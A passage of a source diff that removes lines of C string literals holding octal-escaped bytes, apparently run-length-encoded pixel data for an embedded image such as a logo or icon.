- "\274\344\1\356\373\374\202\376\377\374\1\0\301\350\203\25\274\344\1\302" \
- "\357\367\203\335\366\373\2\302\357\367\0\304\352\203\25\274\344\1\207" \
- "\341\364\202\376\377\374\1,\311\352\203\25\274\344\5\0\302\351\236\347" \
- "\366\332\363\370\256\350\364#\304\346\203\25\274\344\5\0\302\351\370" \
- "\376\377\376\377\374\370\376\377\0\276\345\203\25\274\344\1w\333\356" \
- "\204\335\366\373\1B\314\347\203\25\274\344\1\231\342\362\202\376\377" \
- "\374\1\0\276\345\203\25\274\344\2m\332\361\334\365\372\203\335\366\373" \
- "\1I\320\354\203\25\274\344\1\206\340\363\202\376\377\374\1i\326\356\203" \
- "\25\274\344\5\0\276\345\206\340\363\323\364\367\273\354\3711\313\354" \
- "\204\25\274\344\1\335\366\373\202\376\377\374\1,\311\352\203\25\274\344" \
- "\2L\322\356\332\363\370\203\335\366\373\1n\333\362\203\25\274\344\1k" \
- "\327\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\226\376\377\374\1\324\331\333\203]oz\2cu\200\353" \
- "\360\363\203\376\377\374\1\307\315\317\203]oz\4as~\372\374\371\376\377" \
- "\374\306\314\316\203]oz\1\202\221\227\205\376\377\374\1hz\205\203]oz" \
- "\3\341\346\351\376\377\374\347\355\357\203]oz\2^p{\335\343\345\203\376" \
- "\377\374\1\333\340\343\204]oz\3\347\355\357\376\377\374\330\335\340\203" \
- "]oz\1m\200\213\205\376\377\374\1~\215\223\203]oz\4\313\320\322\376\377" \
- "\374\370\376\377\31\275\345\203\25\274\344\1\256\350\364\203\376\377" \
- "\374\2\336\367\374\0\276\345\203\25\274\344\3\274\355\373\376\377\374" \
- "\357\374\375\204\25\274\344\203\376\377\374\204\25\274\344\1\336\367" \
- "\374\202\376\377\374\1\0\301\350\203\25\274\344\1\323\364\367\202\376" \
- "\377\374\1\0\301\350\203\25\274\344\1\336\367\374\204\376\377\374\1n" \
- "\333\362\203\25\274\344\3m\332\361\376\377\374\356\373\374\204\25\274" \
- "\344\1\274\355\373\203\376\377\374\2\323\364\367\0\276\345\203\25\274" \
- "\344\3\315\362\373\376\377\374\335\366\373\203\25\274\344\2\0\276\345" \
- "\370\376\377\204\376\377\374\1I\320\354\203\25\274\344\3\231\342\362" \
- "\376\377\374\366\373\376\204\25\274\344\1\366\373\376\204\376\377\374" \
- "\1M\323\357\203\25\274\344\1\206\340\363\202\376\377\374\1%\305\347\203" \
- "\25\274\344\1\207\341\364\203\376\377\374\2\360\375\376\0\304\352\203" \
- "\25\274\344\1\233\345\364\202\376\377\374\1\0\301\350\203\25\274\344" \
- "\1\323\364\367\204\376\377\374\1\206\340\363\203\25\274\344\1k\327\357" \
- "\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\226\376\377\374\1\303\310\313\203]oz\1\204\223\231\204\376" \
- "\377\374\2\370\372\367_q|\203]oz\3\354\361\364\376\377\374\306\314\316" \
- "\203]oz\1\202\221\227\205\376\377\374\1m\200\213\203]oz\3\341\346\351" \
- "\376\377\374\326\333\335\203]oz\1n\201\214\205\376\377\374\1l\177\212" \
- "\203]oz\3\327\334\337\376\377\374\330\335\340\203]oz\1m\200\213\205\376" \
- "\377\374\1\202\221\227\203]oz\3\306\314\316\376\377\374\337\370\375\203" \
- "\25\274\344\2\31\275\345\370\376\377\204\376\377\374\1""3\314\355\203" \
- "\25\274\344\3\236\347\366\376\377\374\357\374\375\204\25\274\344\203" \
- "\376\377\374\204\25\274\344\1\336\367\374\202\376\377\374\1#\304\346" \
- "\203\25\274\344\1\316\363\374\202\376\377\374\1\0\301\350\203\25\274" \
- "\344\1\336\367\374\204\376\377\374\1w\333\356\203\25\274\344\3k\327\357" \
- "\376\377\374\315\362\373\203\25\274\344\1\0\301\350\205\376\377\374\1" \
- "*\310\351\203\25\274\344\3\261\354\367\376\377\374\316\363\374\203\25" \
- "\274\344\1\0\301\350\205\376\377\374\1I\320\354\203\25\274\344\3\231" \
- "\342\362\376\377\374\357\374\375\204\25\274\344\205\376\377\374\1M\323" \
- "\357\203\25\274\344\1\206\340\363\202\376\377\374\1\31\275\345\203\25" \
- "\274\344\1\335\366\373\204\376\377\374\1M\323\357\203\25\274\344\1\203" \
- "\334\360\202\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374\204" \
- "\376\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377\374" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\226" \
- "\376\377\374\1\277\304\306\203]oz\1\211\230\236\205\376\377\374\1ew\202" \
- "\203]oz\3\352\357\362\376\377\374\306\314\316\203]oz\1\202\221\227\205" \
- "\376\377\374\1m\200\213\203]oz\3\341\346\351\376\377\374\317\324\327" \
- "\203]oz\1as~\205o\202\215\1as~\203]oz\3\317\324\327\376\377\374\330\335" \
- "\340\203]oz\1m\200\213\205\376\377\374\1\202\221\227\203]oz\3\306\314" \
- "\316\376\377\374\336\367\374\203\25\274\344\1\0\276\345\205%\305\347" \
- "\1\0\276\345\203\25\274\344\3\231\342\362\376\377\374\357\374\375\204" \
- "\25\274\344\203\376\377\374\204\25\274\344\1\336\367\374\202\376\377" \
- "\374\1#\304\346\203\25\274\344\1\316\363\374\202\376\377\374\1\0\301" \
- "\350\203\25\274\344\1\336\367\374\204\376\377\374\1w\333\356\203\25\274" \
- "\344\3k\327\357\376\377\374\302\357\367\203\25\274\344\1\31\275\345\205" \
- "%\305\347\1\0\276\345\203\25\274\344\3\237\350\367\376\377\374\316\363" \
- "\374\203\25\274\344\1\0\301\350\205\376\377\374\1I\320\354\203\25\274" \
- "\344\3\231\342\362\376\377\374\357\374\375\204\25\274\344\205\376\377" \
- "\374\1M\323\357\203\25\274\344\1\206\340\363\202\376\377\374\204\25\274" \
- "\344\1#\304\346\204%\305\347\1\0\301\350\203\25\274\344\1w\333\356\202" \
- "\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374\204\376\377\374" \
- "\1\206\340\363\203\25\274\344\1k\327\357\226\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\226\376\377\374" \
- "\1\277\304\306\203]oz\1\211\230\236\205\376\377\374\1ew\202\203]oz\3" \
- "\352\357\362\376\377\374\306\314\316\203]oz\1\202\221\227\205\376\377" \
- "\374\1m\200\213\203]oz\3\341\346\351\376\377\374\317\324\327\215]oz\3" \
- "\317\324\327\376\377\374\330\335\340\203]oz\1m\200\213\205\376\377\374" \
- "\1\202\221\227\203]oz\3\306\314\316\376\377\374\336\367\374\215\25\274" \
- "\344\3\231\342\362\376\377\374\357\374\375\204\25\274\344\203\376\377" \
- "\374\204\25\274\344\1\336\367\374\202\376\377\374\1#\304\346\203\25\274" \
- "\344\1\316\363\374\202\376\377\374\1\0\301\350\203\25\274\344\1\336\367" \
- "\374\204\376\377\374\1w\333\356\203\25\274\344\3k\327\357\376\377\374" \
- "\302\357\367\215\25\274\344\3\237\350\367\376\377\374\316\363\374\203" \
- "\25\274\344\1\0\301\350\205\376\377\374\1I\320\354\203\25\274\344\3\231" \
- "\342\362\376\377\374\357\374\375\204\25\274\344\205\376\377\374\1M\323" \
- "\357\203\25\274\344\1\206\340\363\202\376\377\374\215\25\274\344\1w\333" \
- "\356\202\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374\204\376" \
- "\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\226\376" \
- "\377\374\1\277\304\306\203]oz\1\211\230\236\205\376\377\374\1ew\202\203" \
- "]oz\3\352\357\362\376\377\374\306\314\316\203]oz\1\202\221\227\205\376" \
- "\377\374\1m\200\213\203]oz\3\341\346\351\376\377\374\317\324\327\215" \
- "]oz\3\317\324\327\376\377\374\330\335\340\203]oz\1m\200\213\205\376\377" \
- "\374\1\202\221\227\203]oz\3\306\314\316\376\377\374\336\367\374\215\25" \
- "\274\344\3\231\342\362\376\377\374\357\374\375\204\25\274\344\203\376" \
- "\377\374\204\25\274\344\1\336\367\374\202\376\377\374\1#\304\346\203" \
- "\25\274\344\1\316\363\374\202\376\377\374\1\0\301\350\203\25\274\344" \
- "\1\336\367\374\204\376\377\374\1w\333\356\203\25\274\344\3k\327\357\376" \
- "\377\374\302\357\367\215\25\274\344\3\237\350\367\376\377\374\316\363" \
- "\374\203\25\274\344\1\0\301\350\205\376\377\374\1I\320\354\203\25\274" \
- "\344\3\231\342\362\376\377\374\357\374\375\204\25\274\344\205\376\377" \
- "\374\1M\323\357\203\25\274\344\1\206\340\363\202\376\377\374\215\25\274" \
- "\344\1w\333\356\202\376\377\374\1\0\301\350\203\25\274\344\1\336\367" \
- "\374\204\376\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\226\376\377\374\1\277\304\306\203]oz\1\211\230\236\205\376\377\374" \
- "\1ew\202\203]oz\3\352\357\362\376\377\374\306\314\316\203]oz\1\202\221" \
- "\227\205\376\377\374\1m\200\213\203]oz\3\341\346\351\376\377\374\317" \
- "\324\327\215]oz\3\317\324\327\376\377\374\330\335\340\203]oz\1m\200\213" \
- "\205\376\377\374\1\202\221\227\203]oz\3\306\314\316\376\377\374\336\367" \
- "\374\215\25\274\344\3\231\342\362\376\377\374\357\374\375\204\25\274" \
- "\344\203\376\377\374\204\25\274\344\1\336\367\374\202\376\377\374\1#" \
- "\304\346\203\25\274\344\1\316\363\374\202\376\377\374\1\0\301\350\203" \
- "\25\274\344\1\336\367\374\204\376\377\374\1w\333\356\203\25\274\344\3" \
- "k\327\357\376\377\374\302\357\367\215\25\274\344\3\237\350\367\376\377" \
- "\374\316\363\374\203\25\274\344\1\0\301\350\205\376\377\374\1I\320\354" \
- "\203\25\274\344\3\231\342\362\376\377\374\357\374\375\204\25\274\344" \
- "\205\376\377\374\1M\323\357\203\25\274\344\1\206\340\363\202\376\377" \
- "\374\215\25\274\344\1w\333\356\202\376\377\374\1\0\301\350\203\25\274" \
- "\344\1\336\367\374\204\376\377\374\1\206\340\363\203\25\274\344\1k\327" \
- "\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\226\376\377\374\1\300\305\310\203]oz\1\211\230\236\205" \
- "\376\377\374\1bt\177\203]oz\3\352\357\362\376\377\374\306\314\316\203" \
- "]oz\1\202\221\227\205\376\377\374\1m\200\213\203]oz\3\341\346\351\376" \
- "\377\374\317\324\327\203]oz\1p\203\216\211\335\343\345\3\366\370\364" \
- "\376\377\374\330\335\340\203]oz\1m\200\213\205\376\377\374\1\202\221" \
- "\227\203]oz\3\306\314\316\376\377\374\336\367\374\203\25\274\344\1\0" \
- "\276\345\211\314\361\372\3\350\371\377\376\377\374\357\374\375\204\25" \
- "\274\344\203\376\377\374\204\25\274\344\1\336\367\374\202\376\377\374" \
- "\1#\304\346\203\25\274\344\1\316\363\374\202\376\377\374\1\0\301\350" \
- "\203\25\274\344\1\336\367\374\204\376\377\374\1w\333\356\203\25\274\344" \
- "\3k\327\357\376\377\374\302\357\367\203\25\274\344\1\0\302\351\211\314" \
- "\361\372\3\356\373\374\376\377\374\316\363\374\203\25\274\344\1\0\301" \
- "\350\205\376\377\374\1I\320\354\203\25\274\344\3\231\342\362\376\377" \
- "\374\357\374\375\204\25\274\344\205\376\377\374\1M\323\357\203\25\274" \
- "\344\1\206\340\363\202\376\377\374\204\25\274\344\1\301\356\366\210\314" \
- "\361\372\1\337\370\375\202\376\377\374\1\0\301\350\203\25\274\344\1\336" \
- "\367\374\204\376\377\374\1\206\340\363\203\25\274\344\1k\327\357\226" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\226\376\377\374\1\314\321\324\203]oz\2l\177\212\372\374\371" \
- "\203\376\377\374\1\333\340\343\203]oz\4^p{\366\373\376\376\377\374\306" \
- "\314\316\203]oz\1\202\221\227\205\376\377\374\1k~\211\203]oz\3\341\346" \
- "\351\376\377\374\320\326\330\203]oz\1t\207\222\213\376\377\374\1\330" \
- "\335\340\203]oz\1m\200\213\205\376\377\374\1\202\221\227\203]oz\3\306" \
- "\314\316\376\377\374\336\367\374\203\25\274\344\1\0\276\345\213\376\377" \
- "\374\1\357\374\375\204\25\274\344\203\376\377\374\204\25\274\344\1\336" \
- "\367\374\202\376\377\374\1#\304\346\203\25\274\344\1\316\363\374\202" \
- "\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374\204\376\377\374" \
- "\1n\333\362\203\25\274\344\3k\327\357\376\377\374\303\361\370\203\25" \
- "\274\344\1\0\304\352\213\376\377\374\1\332\363\370\203\25\274\344\1\0" \
- "\276\345\205\376\377\374\1I\320\354\203\25\274\344\3\231\342\362\376" \
- "\377\374\357\374\375\204\25\274\344\1\370\376\377\204\376\377\374\1M" \
- "\323\357\203\25\274\344\1\206\340\363\202\376\377\374\204\25\274\344" \
- "\1\356\373\374\213\376\377\374\1\0\301\350\203\25\274\344\1\335\366\373" \
- "\204\376\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\226\376\377\374\2\353\360\363^p{\203]oz\5\236\246\256\366\373\376\376" \
- "\377\374\347\355\357w\212\226\203]oz\1~\215\223\202\376\377\374\1\306" \
- "\314\316\203]oz\1\202\221\227\204\376\377\374\2\335\343\345^p{\203]o" \
- "z\3\351\356\360\376\377\374\335\343\345\203]oz\2bt\177\343\350\353\212" \
- "\376\377\374\1\330\335\340\203]oz\1m\200\213\205\376\377\374\1\202\221" \
- "\227\203]oz\3\306\314\316\376\377\374\356\373\374\204\25\274\344\1\274" \
- "\355\373\212\376\377\374\1\357\374\375\204\25\274\344\203\376\377\374" \
- "\204\25\274\344\1\336\367\374\202\376\377\374\1#\304\346\203\25\274\344" \
- "\1\316\363\374\202\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374" \
- "\203\376\377\374\2\367\375\377/\312\353\203\25\274\344\3\204\335\361" \
- "\376\377\374\334\365\372\203\25\274\344\2\0\276\345\314\361\372\212\376" \
- "\377\374\1\356\373\374\204\25\274\344\1\274\355\373\204\376\377\374\1" \
- "I\320\354\203\25\274\344\4\231\342\362\376\377\374\370\376\377\0\276" \
- "\345\203\25\274\344\1\257\351\365\204\376\377\374\1M\323\357\203\25\274" \
- "\344\1\206\340\363\202\376\377\374\1\0\301\350\203\25\274\344\1\233\345" \
- "\364\213\376\377\374\1#\304\346\203\25\274\344\1\207\341\364\204\376" \
- "\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\227\376" \
- "\377\374\1\211\230\236\204]oz\3cu\200p\203\216^p{\204]oz\1\277\304\306" \
- "\202\376\377\374\1\306\314\316\203]oz\1dv\201\203~\215\223\2v\211\225" \
- "as~\203]oz\1n\201\214\202\376\377\374\2\371\373\370dv\201\203]oz\2bt" \
- "\177w\212\226\205~\215\223\2\203\222\230\304\311\314\202\376\377\374" \
- "\1\330\335\340\203]oz\1m\200\213\205\376\377\374\1\202\221\227\203]o" \
- "z\1\306\314\316\202\376\377\374\1(\307\350\203\25\274\344\2\0\276\345" \
- "*\310\351\205,\311\352\2""1\313\354\207\341\364\202\376\377\374\1\357" \
- "\374\375\204\25\274\344\203\376\377\374\204\25\274\344\1\336\367\374" \
- "\202\376\377\374\1#\304\346\203\25\274\344\1\316\363\374\202\376\377" \
- "\374\1\0\301\350\203\25\274\344\1*\310\351\203,\311\352\1\0\302\351\204" \
- "\25\274\344\4\274\355\373\376\377\374\370\376\377\0\302\351\203\25\274" \
- "\344\2\31\275\345*\310\351\205,\311\352\2B\314\347\231\342\362\203\376" \
- "\377\374\1%\305\347\203\25\274\344\2\0\276\345*\310\351\203,\311\352" \
- "\1\0\301\350\203\25\274\344\1\231\342\362\202\376\377\374\1/\312\353" \
- "\203\25\274\344\2\0\276\345*\310\351\203,\311\352\1\0\301\350\203\25" \
- "\274\344\1\206\340\363\202\376\377\374\1G\317\353\204\25\274\344\1(\307" \
- "\350\205,\311\352\3""1\313\354w\333\356\370\376\377\202\376\377\374\1" \
- "M\323\357\204\25\274\344\1(\307\350\203,\311\352\1\0\304\352\203\25\274" \
- "\344\1k\327\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\227\376\377\374\2\343\350\353ew\202\211]oz\2" \
- "\177\216\224\373\375\372\202\376\377\374\1\306\314\316\214]oz\1\270\300" \
- "\311\203\376\377\374\1\253\263\273\213]oz\4_q|\352\357\362\376\377\374" \
- "\330\335\340\203]oz\1m\200\213\205\376\377\374\1\202\221\227\203]oz\1" \
- "\306\314\316\202\376\377\374\1\233\345\364\214\25\274\344\3\301\356\366" \
- "\376\377\374\357\374\375\204\25\274\344\203\376\377\374\204\25\274\344" \
- "\1\336\367\374\202\376\377\374\1#\304\346\203\25\274\344\1\316\363\374" \
- "\202\376\377\374\1\0\301\350\213\25\274\344\2,\311\352\370\376\377\202" \
- "\376\377\374\1\206\340\363\214\25\274\344\1\316\363\374\202\376\377\374" \
- "\1\233\345\364\214\25\274\344\1\231\342\362\202\376\377\374\1\250\347" \
- "\371\214\25\274\344\1\206\340\363\202\376\377\374\1\273\354\371\214\25" \
- "\274\344\1\236\347\366\202\376\377\374\2\313\360\371\0\276\345\213\25" \
- "\274\344\1k\327\357\226\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\230\376\377\374\2\325\332\334gy\204\207" \
- "]oz\2x\213\227\354\361\364\203\376\377\374\1\306\314\316\213]oz\1\225" \
- "\235\245\204\376\377\374\2\372\374\371~\221\235\213]oz\3\333\340\343" \
- "\376\377\374\342\347\352\203]oz\1t\207\222\205\376\377\374\1\211\230" \
- "\236\203]oz\1\317\324\327\203\376\377\374\1M\323\357\213\25\274\344\4" \
- "\237\350\367\376\377\374\367\375\377\0\276\345\202\25\274\344\1\0\276" \
- "\345\203\376\377\374\1\0\301\350\203\25\274\344\1\357\374\375\202\376" \
- "\377\374\1(\307\350\203\25\274\344\1\335\366\373\202\376\377\374\1\0" \
- "\302\351\212\25\274\344\2\0\301\350\333\364\371\203\376\377\374\2\370" \
- "\376\377G\317\353\213\25\274\344\1\273\354\371\203\376\377\374\1M\323" \
- "\357\213\25\274\344\1\237\350\367\203\376\377\374\1k\327\357\213\25\274" \
- "\344\1\231\342\362\203\376\377\374\1w\333\356\213\25\274\344\1\206\340" \
- "\363\203\376\377\374\1\207\341\364\213\25\274\344\1n\333\362\226\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\231\376\377\374\3\351\356\360\231\241\251bt\177\203]oz\3k~\211\257" \
- "\267\277\370\372\367\204\376\377\374\1\306\314\316\211]oz\3gy\204\261" \
- "\271\302\373\375\372\205\376\377\374\3\371\373\370\252\262\272dv\201" \
- "\210]oz\2x\213\227\372\374\371\202\376\377\374\4}\220\233]oz^p{\266\277" \
- "\307\205\376\377\374\5\311\316\321_q|]ozq\204\217\370\372\367\203\376" \
- "\377\374\3\370\376\377\211\342\365\0\301\350\210\25\274\344\2\0\304\352" \
- "\356\373\374\202\376\377\374\1M\323\357\202\25\274\344\1m\332\361\203" \
- "\376\377\374\1n\333\362\202\25\274\344\1L\322\356\203\376\377\374\1\206" \
- "\340\363\202\25\274\344\2B\314\347\370\376\377\202\376\377\374\1w\333" \
- "\356\210\25\274\344\3\0\276\345L\322\356\336\367\374\205\376\377\374" \
- "\3\370\376\377\204\335\361\0\301\350\210\25\274\344\2(\307\350\366\373" \
- "\376\203\376\377\374\3\370\376\377\211\342\365\0\301\350\210\25\274\344" \
- "\2#\304\346\356\373\374\204\376\377\374\2\233\345\364\0\302\351\210\25" \
- "\274\344\2\0\302\351\337\370\375\204\376\377\374\2\237\350\367#\304\346" \
- "\210\25\274\344\2\0\301\350\333\364\371\204\376\377\374\2\257\351\365" \
- "%\305\347\210\25\274\344\2\0\276\345\314\361\372\226\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\233\376" \
- "\377\374\4\365\372\375\335\343\345\325\332\334\343\350\353\207\376\377" \
- "\374\1\306\314\316\203]oz\1u\210\224\204\324\331\333\2\335\343\345\373" \
- "\375\372\211\376\377\374\2\372\374\371\334\342\344\206\324\331\333\2" \
- "\331\336\341\372\374\371\203\376\377\374\3\373\375\372\332\337\342\343" \
- "\350\353\207\376\377\374\3\351\356\360\330\335\340\366\373\376\206\376" \
- "\377\374\2\370\376\377\316\363\374\206\273\354\371\2\302\357\367\366" \
- "\373\376\204\376\377\374\2\314\361\372\315\362\373\205\376\377\374\2" \
- "\316\363\374\313\360\371\205\376\377\374\3\332\363\370\312\357\370\370" \
- "\376\377\204\376\377\374\1\316\363\374\206\273\354\371\2\302\357\367" \
- "\356\373\374\211\376\377\374\2\370\376\377\314\361\372\206\273\354\371" \
- "\2\302\357\367\367\375\377\206\376\377\374\2\370\376\377\316\363\374" \
- "\206\273\354\371\2\302\357\367\366\373\376\206\376\377\374\2\370\376" \
- "\377\316\363\374\206\273\354\371\2\301\356\366\357\374\375\207\376\377" \
- "\374\1\332\363\370\206\273\354\371\2\301\356\366\356\373\374\207\376" \
- "\377\374\2\333\364\371\274\355\373\205\273\354\371\2\274\355\373\350" \
- "\371\377\227\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\246\376\377\374\1\306\314\316\203]oz\1\202\221\227" \
- "\377\376\377\374\306\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\246\376\377\374\1\306\314\316\203]oz\1\202" \
- "\221\227\377\376\377\374\306\376\377\374\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\223\377\377\377\246\376\377\374\1\306\314\316\203" \
- "]oz\1\202\221\227\377\376\377\374\306\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\246\376\377\374\1\306\314" \
- "\316\203]oz\1\202\221\227\377\376\377\374\306\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\246\376\377\374" \
- "\1\315\322\325\203]oz\1\211\230\236\377\376\377\374\306\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\246\376" \
- "\377\374\2\360\366\370i{\206\202]oz\1\302\307\312\377\376\377\374\306" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\247\376\377\374\3\357\365\367\313\320\322\335\343\345\377\376" \
- "\377\374\307\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\377\376\377\374\361\376\377\374\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\223\377\377\377\377\376\377\374\361" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\377\376\377\374\361\376\377\374\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\223\377\377\377\377\376\377\374\361\376\377\374" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\377" \
- "\376\377\374\361\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\377\376\377\374\361\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\377\376\377\374" \
- "\361\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\377\376\377\374\361\376\377\374\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\223\377\377\377\377\376\377\374\361\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\377\376\377\374\361\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\377\376\377\374\361\376\377\374\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\223\377\377\377\377\376\377" \
- "\374\361\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\377\376\377\374\361\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\377\376\377\374\361\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\377\376\377\374\361\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\377\376\377\374\361\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\377\376" \
- "\377\374\361\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" \
